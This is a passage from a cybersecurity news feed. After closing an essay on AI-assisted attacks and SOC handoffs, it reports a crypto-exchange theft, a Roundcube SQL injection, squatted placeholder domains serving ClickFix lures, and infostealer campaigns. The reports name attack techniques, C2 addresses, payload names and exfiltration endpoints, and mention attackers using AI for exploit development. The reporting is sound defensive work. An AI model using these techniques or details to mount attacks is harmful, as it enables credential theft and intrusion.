No step in that sequence is a new capability. Together they strip time, skill, and cost out of the unglamorous middle of an intrusion, the research and troubleshooting that sit between intent and outcome.

What the threat reporting shows

The public record traces the arc. In early 2025, Google's Threat Intelligence Group found state-backed actors treating generative AI as a productivity tool: translation, scripting help, troubleshooting, research. By late 2025, the same team was writing about malware samples that phoned a model mid-execution and about a maturing underground market for illicit AI tools, while Anthropic disclosed shutting down an extortion operation that leaned on AI at nearly every stage, from reconnaissance and credential harvesting through to setting ransom demands. In May 2026, GTIG reported that cyber crime actors found a two-factor bypass in an open-source administration tool and built working exploits for it, and that based on the structure and content of those exploits it assessed with high confidence that an AI model supported both the discovery and the exploit development. GTIG worked with the affected vendor on disclosure and disrupted the activity, and its own assessment is that the counter-discovery may have prevented the exploit from being used.

That last distinction matters. Assessed AI assistance and a planned operation are not the same claim as confirmed deployment in the wild, and the difference tends to get lost once a finding like this starts circulating. Attribution is hard, prevalence is unclear, and none of these reports is a census of global activity. The direction is what counts, and the direction is toward AI sitting inside attacker workflows rather than beside them.

Provider guardrails deserve credit here. Safety classifiers and abuse disruption push the cost of misuse up, and the disruption cases above show the work paying off. A guardrail still lives outside the enterprise. An operator can poke at it until a reframed request slides through, move the job to an open-weight model, split one malicious task into a dozen innocent-looking ones, or wrap tooling around the model and route around the policy layer entirely. Friction of that kind slows misuse without ever becoming a security boundary, and an organization that treats provider policy as a boundary has substituted reassurance for defense.

Attacks run as loops

Textbooks draw the attack lifecycle as a line: reconnaissance, access, escalation, impact. A working attacker runs a loop instead. Watch the environment, form a guess, try something, read what came back, adjust the guess. AI compresses the time between those steps. A novice stays in the game longer. An expert runs more experiments per day.

Defense is supposed to loop the same way. A signal fires, context gets gathered, a hypothesis forms, scope gets validated, an action lands, and the outcome feeds back into detection. In practice, queues and handoffs interrupt that loop at every joint. The alert idles unassigned. The identity picture lives in a different console. A telemetry gap turns into a backlog item, and the explanation behind a closed false positive dies in the ticket instead of reaching whoever owns the rule.

The environment answers the attacker's experiment in seconds. The defender's answer arrives whenever the ticket gets picked up.

Mean time to acknowledge and mean time to remediate hide this. An alert can be acknowledged in minutes and then spend hours being reconstructed: finding the right identity, confirming whether the endpoint was managed, restating the incident to each new owner along the approval path. That reconstruction interval is decision latency, and few SOCs measure it at all.

Five things every handoff drops

The work is commonly described in five functions: threat intelligence, threat hunting, detection engineering, investigation, and remediation. That is a useful lens rather than a universal org chart. In a small team, one person wears several of those hats. In a large enterprise they spread across the SOC, identity, endpoint, cloud, and business teams, and an MDR provider may own the investigation without owning the authority to contain.

The functions are rarely the problem. The transfer between them is. Threat intelligence understands why a technique matters. Threat hunting can say where it would surface. Detection engineering carries the rule's unstated assumptions. The investigator holds the evidence trail that settled the verdict. The team that acts can name the actions that would break the business. Each transfer squeezes that knowledge into an indicator, an alert, or a ticket, and the squeeze is lossy.

This is the lossy handshake, laid out in a recent three-part series, and the inventory of what a handoff has to carry is worth keeping whole:

  • Entity identity: the actual user, device, workload, or business process at the center of the case
  • Evidence and provenance: the observations behind the conclusion, their origin, and their timestamps
  • Hypothesis and confidence: the leading explanation, the alternatives still standing, and the certainty behind the choice
  • Telemetry sufficiency: which claims the available data can support, which it cannot, and which absent source caps the confidence
  • Decision ownership and constraints: who holds authority to act, which approvals stand in the way, and what the action might break

Lose the first and two teams end up investigating the same user under different names. Lose the last and a correct recommendation sits in a queue while the intrusion ages. Evidence without provenance is decoration.

One incident, five vantage points

A worked example from that series makes the loss visible in motion.

A finance employee signs in from a hosting provider the account has never used. MFA is satisfied. Inside 10 minutes, a new mailbox rule starts forwarding to an external address, and the account begins pulling files from a finance SharePoint site in a pattern it has never shown. No single event proves compromise. The sequence deserves attention.

Threat intelligence has been tracking a wave of adversary-in-the-middle phishing built to steal authenticated sessions, which is why an MFA success cannot clear the account on its own. That context ships onward as a short advisory with indicators and technique IDs. The behavioral sequence, and the local conditions under which it matters, stay behind.

The hunter translates the advisory into queries and learns two things the advisory never asked about: device-compliance data covers only part of the environment, and SharePoint audit records show up hours late. The hunt forwards a list of suspicious accounts. The coverage caveats stay behind.

Detection engineering builds logic that fires only when the unfamiliar network, the MFA success, and the new forwarding rule cluster inside a short window, knowing full well the rule has no device-state visibility for a slice of the user base. What goes out the door is a severity level and a description field. The assumptions and the expected false-positive patterns stay behind.

The alert reaches an analyst mid-shift, showing a sign-in and a mailbox rule with none of the reasoning that connected them. The analyst rebuilds the picture across four consoles: identity, email security, the SIEM, the asset inventory. Two explanations stay live. The user could be traveling or trying a legitimate new service, which accounts for the unfamiliar network but not for an external forwarding rule and an access pattern the account has never shown. Or an authenticated session was stolen, which accounts for the whole sequence. The second fits the evidence, and endpoint scope stays unknown, because the device is unmanaged and there is no process or network telemetry to check. The case closes with a recommendation to disable the account. The competing explanation, the confidence level, and the endpoint nobody could examine stay behind.

A ticket lands with the identity team: disable this account. The team knows something the SOC never saw: the account is mid-payroll-run, and a blunt disable interrupts a time-sensitive business process. That does not give finance a veto over containment. It means the containment decision and the continuity decision have to be made by people who can see both. Revoking the live sessions and stripping the forwarding rule are the low-risk moves. Suspending the account sits under incident policy and belongs to whoever holds that authority. Moving the payroll run depends on whether a backup operator exists and is free to take it. Reopening access waits on credential reset, MFA re-enrollment, and a managed device, and somebody still has to confirm the actions took effect.

Every function did its job. The system still forced each one to rebuild the incident from scratch, and it handed the one team holding business context a one-line task instead of a decision.

The unicorn analyst is a symptom

When organizations feel this loss, the reflex is a job posting: someone fluent in identity, endpoint, cloud, email, malware analysis, detection logic, and executive communication, assigned to the alert queue. The mythical unicorn analyst is not a talent strategy. It is a workaround for missing system state.

The senior analyst succeeds by knowing things no dashboard shows. Which log source lies. Which service account must never be touched. Which application owner picks up at 2 a.m. The company's real runbook lives in that one head, and it resigns when the person does. A meaningful share of analyst burnout is exactly this, re-deriving what the organization already knew and failed to keep.

The most expensive loss lands after the incident closes. Say the truth turns out benign: the employee was traveling, and the forwarding rule had been approved. The rule's owner needs the evidence that flipped the verdict. The telemetry owner needs to hear that device coverage came up partial. What the system keeps is a closure reason. The verdict survives; the lesson evaporates. That is why a noisy rule stays noisy for years, and why each new analyst rediscovers the same blind spot on their own shift.

What a stateful SOC remembers

The fix is architectural. The series lands on a specific prescription: the SOC has to become stateful. SOCs are not amnesiac. They retain evidence and case histories, often for years. What tends not to survive a handoff is the reasoning around that evidence, the uncertainty that qualified it, and the constraints on who could act. Those stay buried in whichever system produced them instead of informing the next decision. The alternative is shared operational memory, five kinds of state that every workflow reads and writes:

  • Environmental state: the identities, devices, workloads, and business services that exist, their relationships, their owners, and which of them are privileged, exposed, or unmanaged
  • Evidence state: each observation, its source, its timing, and a path back to the original event
  • Decision state: the current hypothesis, the alternatives weighed, the evidence for and against, and what new evidence would change the answer
  • Control state: the actions on the table, the approvals they require, the owner of the affected system, and anything that has to be preserved before containment
  • Learning state: the corrections analysts made, the assumptions that failed, whether the fix held, and what should change in a threat hunt, rule, or playbook as a result

A shared model on those lines lets the SIEM, the EDR, the identity platform, and the case system contribute to one decision. None of those tools gets replaced by it.

The hardest discipline in that list is treating "unknown" as a legitimate answer. When endpoint telemetry is missing because a device is unmanaged, a weak system files the finding as "No malicious process activity was observed." The sentence is technically true and operationally misleading. A stateful system records that the endpoint could not be checked at all, cuts its stated confidence in endpoint scope, and routes the coverage gap to whoever owns device management. The gap becomes part of the case rather than vanishing into a reassuring sentence.

Agents need jobs and boundaries

Agentic AI enters this picture last, and deliberately so, because bolting agents onto a stateless SOC gives a broken operating model more speed. Bounded workflows working from shared memory are a different proposition. Threat intelligence decides whether an outside threat matters locally and shows its reasons. Threat hunting reports the populations it covered next to the ones it could not see. Detection checks that the environment can feed a rule the data it needs before that rule goes live. Investigation packages timeline, competing explanations, evidence, and confidence as a single object. Remediation maps the decision onto available actions, owners, and approvals.

Authority stays separate from confidence. The framework distinguishes four modes for any action: observe and gather further evidence; put a recommended action and its reasoning in front of a human who holds the authority; execute only after explicit approval; or execute automatically, and only where policy, confidence, entity type, and potential-impact conditions are all satisfied. The mode lives in control state, versioned and auditable. A confident-sounding narrative earns an agent exactly nothing in execution rights.

The same caution governs learning. A single false-positive verdict from a single analyst is thin evidence for changing production detection logic. Analysts make mistakes, and some cases are simply exceptions. A stateful system captures the evidence behind the correction, gathers similar cases, drafts a proposed change, and routes the proposal to the owner of the rule. That review step is what separates learning from self-corruption.

The analyst's job moves up the stack

The evidence-assembly half of the investigation is already done when the analyst arrives. The analyst's first move is to challenge the structured case: whether the hypothesis holds together, whether a competing explanation got missed, whether the proposed action is proportionate to the evidence, and what the business context changes.

Measurement moves the same direction. Counting completed agent tasks flatters the software. Four questions do the job better: does the analyst open a case that already contains the context, does the case record what could not be seen, does a corrected verdict reach the rule's owner while the correction still matters, and did every automated action stay inside policy with an audit trail behind it. Revised federal guidance points the same way: NIST's updated incident response recommendations in SP 800-61r3 treat response as part of an organization's wider risk management rather than a self-contained SOC activity.

The attack loop is tightening on a curve, and waiting for full autonomy to arrive is a slow way to concede it. The starting points are unglamorous: measure where the same context keeps getting reassembled by hand, record what an investigation could not see next to what it concluded, decide who owns each action and who approves it while things are calm, and route what the investigation learned back into threat hunting and detection.

The finance employee's account gets suspended either way. In one SOC, the lesson evaporates with the closure reason and the payroll problem surfaces after the fact. In the stateful one, the people who act can see what the investigation could not, the coverage gap has an owner, and the next analyst inherits a memory instead of a queue.

Note: This article is based on a three-part series by Jonathan Waknin, Director of Solution Architects/CISO at Conifers.ai.

Found this article interesting? This article is a contributed piece from one of our valued partners. Follow us on Google News, Twitter and LinkedIn to read more exclusive content we post.



from The Hacker News https://ift.tt/rtnw5bp
via IFTTT

Bitget Says Suspected North Korean Hackers Stole $351.6M After Backend Compromise

Cryptocurrency exchange Bitget said suspected North Korean threat actors have stolen $351.6 million from its hot and warm wallets.

"At 18:31 UTC on September 24, 2026, Bitget's security systems identified unauthorized transfers involving a limited number of hot wallets," BitGet said in a post shared on X. "Bitget's cold wallets and the overwhelming majority of platform assets remain secure and unaffected."

The company emphasized that customer account balances remain accurate, and deposits and trading continue to operate normally. However, withdrawals have been temporarily suspended out of an abundance of caution while a "comprehensive security review" is underway.

Bitget did not disclose any details on how the attack took place, but said it has enlisted the help of Google-owned Mandiant and SlowMist for a third-party investigation.

"Bitget Wallet operates as a self-custodial wallet on a completely separate and independent infrastructure from Bitget Exchange and was not affected by this incident," it noted.

According to Bitget CEO Gracy Chen, assets impacted by the hack include ETH, XRP, BNB, AVAX, USDT, and USDC, with the chains involving Ethereum, XRP Ledger, Arbitrum, Avalanche, Optimism, BSC, and Base.

"We have contacted the foundations of all affected chains, and some foundations have confirmed the freezing of hacker wallet addresses," Chen said. "Based on IP behavior patterns and on-chain analysis, the attack method in this incident is highly consistent with known patterns of North Korean hacker organizations."

"The attacker compromised a critical backend system within our wallet infrastructure, used it to spoof transaction data, and triggered our authorization process to move funds out. No further unauthorized transfers are possible. The specific method of system intrusion remains under active investigation."

The development comes about a week after SentinelOne attributed the North Korea-linked TraderTraitor group to an attack targeting an India-based information technology (IT) services company. TraderTraitor is best known for the theft of $1.5 billion from Bybit and $292 million from KelpDAO's LayerZero bridge.



from The Hacker News https://ift.tt/X6TauAp
via IFTTT

Roundcube Pre-Auth SQL Injection Flaw Actively Exploited in the Wild

The Canadian Centre for Cyber Security has warned that a now-patched Roundcube Webmail vulnerability is being actively exploited in the wild.

The vulnerability in question is CVE-2026-48842 (CVSS score: 8.1), a pre-authentication SQL injection in the virtuser_query plugin of Roundcube Webmail versions 1.6.x before 1.6.16 and 1.7.x before 1.7.1.

The issue stems from a preg_replace() backslash escape bypass that allows attackers to inject arbitrary SQL statements without authentication.

"Unauthenticated attackers can inject SQL into Roundcube's database backend through the virtuser_query plugin, potentially exposing mail account credentials and stored messages," SentinelOne said.

Patches for the vulnerability were released by Roundcube in May 2026 as part of 1.6.16 and 1.7.1.

In an update shared this week, the Cyber Centre said the security flaw is being actively exploited in the wild, citing open-source reporting. No additional details of the exploitation activity have been disclosed.

Data from the Shadowserver Foundation shows that there are more than 523,000 Roundcube instances exposed to the internet, with 10 of them flagged as vulnerable hosts as of September 23, 2026.

Vulnerabilities in Roundcube have been an attractive target for threat actors looking to harvest sensitive email communications. In July 2026, Proofpoint said it identified a suspected China-aligned adversary dubbed UNK_MassTraction exploiting known security flaws in Roundcube to deliver web shells or a post-exploitation tool called VShell.

Way back in February 2026, two other vulnerabilities in the same product (CVE-2025-49113 and CVE-2025-68461) were tagged as actively exploited by the U.S. Cybersecurity and Infrastructure Security Agency (CISA).



from The Hacker News https://ift.tt/Sezi3pg
via IFTTT

Thursday, September 24, 2026

Placeholder third-party[.]com Referenced Across 1,700+ Repositories Now Serves Malicious Content

The "third-party[.]com" domain, commonly used as a documentation placeholder, has been observed serving a ClickFix lure to Windows browsers while displaying a harmless decoy to other users.

"third-party[.]com has been a generic documentation placeholder for years, the same role example.com plays," Manifold Security's Head of Research, Ax Sharma, said. "Unlike 'example[.]com,' third-party[.]com is not IANA-reserved. Anyone could register it, and someone did. Every doc, test, and skill that hard-coded it now points readers at attacker infrastructure."

As of writing, the domain has been marked as malicious and unsafe on both VirusTotal and Google's Safe Browsing list.

ClickFix is a social engineering attack technique in which either malicious or legitimate-but-compromised websites display error messages, browser alerts, or CAPTCHA verification prompts, tricking users into copying and executing hidden commands via the Windows Run dialog or Terminal to "fix" the issue.

Often, web pages using ClickFix rely on clipboard hijacking to automatically inject malicious script or commands into the victim's clipboard for subsequent pasting on Windows Run dialog or macOS Terminal. This approach is also sometimes referred to as pastejacking.

According to Manifold Security, the domain has been serving the ClickFix lure since at least June 2026. Windows users visiting the page are shown a Cloudflare check that poisons the victim's clipboard and instructs them to paste and run the command via the Windows Run dialog. The pasted command is designed to extract and run a remote PowerShell payload.

When a macOS user visits the same page, the fake security verification prompt shows an error: "macOS is not supported. This website requires a Windows PC to access. Please try again from a Windows device."

A search on GitHub shows that the domain is referenced in over 1,700 public repositories, including those related to AI agent skills and MCP-server docs that cite "third-party[.]com" as an example endpoint.

"In every one of those places it is exactly what it looks like: a placeholder, an example, a stand-in, and entirely reasonable use by the teams involved," Sharma noted. "It is also, now, a live pointer to a ClickFix server."

This weaponization of a blindly trusted domain, in turn, can open up avenues for prompt injection and other unintended behaviors.

To counter the threat, it's advised to audit their documentation and treat non-reserved placeholder domains (e.g., yourcompany[.]com, mycompany[.]com, your-api[.]com, and their lookalikes) as squattable and open to abuse by threat actors, who can register them and serve malicious content.

Developers working on skills, documentation, or test cases are recommended to use reserved placeholders like "example[.]com" (or "example[.]org," "example[.]net") only and avoid using plausible-sounding domains that are not under their control.

"You can scan the skill, read the file, resolve the domain from your analysis box, and conclude it is fine, and be completely wrong about what a Windows user's agent receives when it follows the same link," Manifold Security pointed out. "A file scan cannot see what a website decides to send. The tell only appears at request time, from the caller that matters."

The disclosure comes as Manifold said it has since identified 13 more placeholder domains that are not IANA-reserved, with two of them – yoursite[.]com and your-domain[.]com – serving scams and scareware to macOS visitors and an ordinary parking page to other users.

"On a macOS browser, your-domain[.]com showed a fake 'MacOS Security Center' claiming four viruses and selling a counterfeit McAfee renewal at 55% off," security researcher Cody Nash said. "On another macOS render, yoursite[.]com showed a counterfeit ZDF news article advertising an investment scheme."

The complete list of domains, each of them are pass static checks, is as follows -

  • your-domain[.]com
  • yourdomain[.]com
  • your-site[.]com
  • yoursite[.]com
  • your-app[.]com
  • yourapp[.]com
  • myapp[.]com
  • mysite[.]com
  • acme[.]com
  • company[.]com
  • mycompany[.]com
  • vendor[.]com
  • foo[.]com

To make matters worse, the two scam-scarware-serving sites are present in hundreds of thousands of GitHub files and hundreds of agent skills. "Scareware and investment fraud are a lower threat than clipboard malware, the exposure they ride on is far larger, and none of it showed up in any static check we ran," Nash said.



from The Hacker News https://ift.tt/73KXyRJ
via IFTTT

Hacked Ukrainian Sites Serve Fake Cloudflare ClickFix Lures for Psychedelic Stealer

An active ClickFix campaign has been observed compromising legitimate Ukrainian business websites to inject bogus Cloudflare verification pages and trick victims into downloading a previously undocumented information stealer called Psychedelic.

"When a visitor interacts with the page, the lure copies a Windows Installer command to the clipboard and instructs the visitor to paste it into the Windows Run dialog," Arctic Wolf Labs said in a technical report shared with The Hacker News.

The ClickFix chain uses an "msiexec.exe" command to fetch a Windows MSI installer that's used to deliver the stealer malware. The malicious tool is designed to harvest browser passwords, account tokens, and cryptocurrency-wallet data, set up scheduled-task persistence, and contact a command-and-control (C2) server for additional tasking.

Some of the compromised websites include a hair-treatment clinic, a scale-model manufacturer, a specialist bookseller and publisher, a psychological facility, a tool retailer, and an automotive retailer. These affected sites include an injected iframe element that's responsible for executing attacker-controlled JavaScript ("fsputnik[.]com/tds/tracker[.]js").

The ClickFix command, for its part, retrieves an MSI installer ("elita.msi") hosted on "uasputnik[.]com," a domain that was registered on September 9, 2026. Other MSI payloads identified include "miks.msi," "astra.msi," "harbor.msi

," "neon.msi," "sova.msi," and "vyse.msi."

"The attacker-controlled page imitates a Cloudflare verification screen and presents Ukrainian-language instructions," Arctic Wolf said. "The clipboard operation occurs before the lure displays its Windows Run instructions. After a three-second spinner, the page presents an instruction dialog and keeps the 'Done' button disabled for approximately 35 additional seconds."

"This delay controls progression through the lure interface; it does not verify that the visitor opened Windows Run, pasted the command, or installed the payload."

The MSI installer, for its part, is responsible for retrieving the next-stage payload ("psychedeliclove.exe") from the URL "107.175.82[.]242:9000." The 64-bit Windows executable is Psychedelic Stealer, which performs the following functions -

  • Collect credentials from Chromium-based browsers, including Google Chrome, Microsoft Edge, Brave, Opera, Opera GX, Vivaldi, and Yandex, and exfiltrate them through the "/api/v1/ext/passwords" endpoint
  • Collect browser-associated account tokens and exfiltrate them through the "/api/v1/ext/tokens" endpoint
  • Scan for known cryptocurrency wallet browser extensions (MetaMask, Trust Wallet, OKX Wallet, and SafePal) and desktop apps (Exodus, Atomic Wallet, Electrum, Bitcoin Core, and Litecoin Core) and exfiltrate data through the "/api/v1/ext/wallets" endpoint
  • Capture extensive host information and exfiltrate it through the "/api/v1/checkin" endpoint
  • Terminate selected browser processes, extract an embedded extension archive into web browser profiles, and set a native-messaging bridge

"These components extend the operation beyond one-time data collection," Arctic Wolf said. "Browser-profile modification and native messaging provide a mechanism for deployed browser content to communicate with a local host component."

"A recurring background routine revisits extension-related operations before polling the C2 server for tasks, indicating that browser-component handling is integrated into the implant's ongoing execution cycle rather than limited to initial installation."

Psychedelic Stealer also features the ability to retrieve further tasks using the "/api/v1/agent/tasks?hwid=%s" endpoint, where "hwid" refers to a unique victim identifier. It can allow the malware to run EXE, COM, BAT, CMD, MSI, and PowerShell payloads, offering the operator a way to introduce additional malware.

Arctic Wolf said it identified an exposed lure management panel linked to the campaign called РУБЛЁВКА TDS (Rublevka TDS) on the "uasputnik[.]com" domain. The panel, which is distinct from the implant's C2 ("193.178.159[.]128:8080"), is used to configure web-lure commands and records interactions.

"The dashboard polls visitor records every two seconds, providing near-real-time visibility into progression through the lure interface, not endpoint execution," it added.

At the time of analysis, the panel recorded 557 views, 426 clicks, and 79 complete events across 32 countries, with Ukraine accounting for 446 views, 351 clicks, and 71 complete events. Other targets include the U.S., Poland, Germany, Canada, and the Netherlands.

"Russian-language branding and implementation artifacts suggest likely Russian operators, and the intended audience is clear: Ukrainian-language instructions, affected Ukrainian business websites, and the panel's concentration of recorded views in Ukraine support an assessment that the campaign focused heavily on Ukrainian users," the cybersecurity company concluded.

ClickFix Delivers RemotePanel and BoundSiphon

The development comes as Blackpoint Cyber said it identified two undocumented .NET malware components delivered together via a ClickFix chain: RemotePanel, a persistent remote access platform, and BoundSiphon, a .NET credential and cryptocurrency stealer that targets both Chromium and Firefox browsers.

"RemotePanel establishes persistence by masquerading as the Windows Time service and gives operators broad control over infected systems, including PowerShell, file and process management, screen access, modular HVNC, and fleet management," researchers Nevan Beal, Sam Decker, and Andi Ursry said.

"BoundSiphon runs primarily from memory and targets browser credentials and sessions, cryptocurrency wallets, password manager data, and selected documents, including secrets protected by Chromium App-Bound Encryption."

RemotePanel makes use of a BNB Smart Chain contract to resolve its C2 server, thereby allowing the threat actors to rotate infrastructure without rebuilding or redeploying the malware on infected hosts. BoundSiphon, on the other hand, is assessed to share overlaps with a stealer that was flagged as being distributed via five malicious NuGet packages back in May 2026.

The attack sequence begins with a ClickFix command that uses PowerShell to initiate a multi-stage chain, with one of the intermediate components abusing the CMSTPLUA COM object to bypass User Account Control (UAC) and gain elevated administrative privileges without prompting the user and run a privileged hidden PowerShell process.

The process then proceeds to configure broad Microsoft Defender exclusions and fetch and execute two additional payloads using different methods -

  • RemotePanel, which is written to disk, installed as a service, and is used for persistent remote access and operator control through interactive PowerShell sessions, file and process management, screen streaming, and modular hidden virtual network computing (hVNC)
  • BoundSiphon, which is loaded directly into memory through PowerShell, and is used for credential, session, wallet, and document collection

The campaign has not been attributed to any known threat actor or group, although Blackpoint said it recovered artifacts that suggest a possible Russian-speaking development environment. This includes source code checks to avoid executing on systems with a Russian keyboard layout.

"RemotePanel and BoundSiphon reflect a broader shift toward modular malware ecosystems that separate persistent access from data theft, allowing operators to replace infrastructure and individual components while retaining the underlying capabilities needed to continue an operation," Blackpoint said.

"RemotePanel can move its backend through an owner-controlled BNB Smart Chain resolver without rebuilding the implant, while BoundSiphon moves its App Bound Encryption recovery into legitimate Chromium processes to reach newer browser secrets."



from The Hacker News https://ift.tt/LEKrpQx
via IFTTT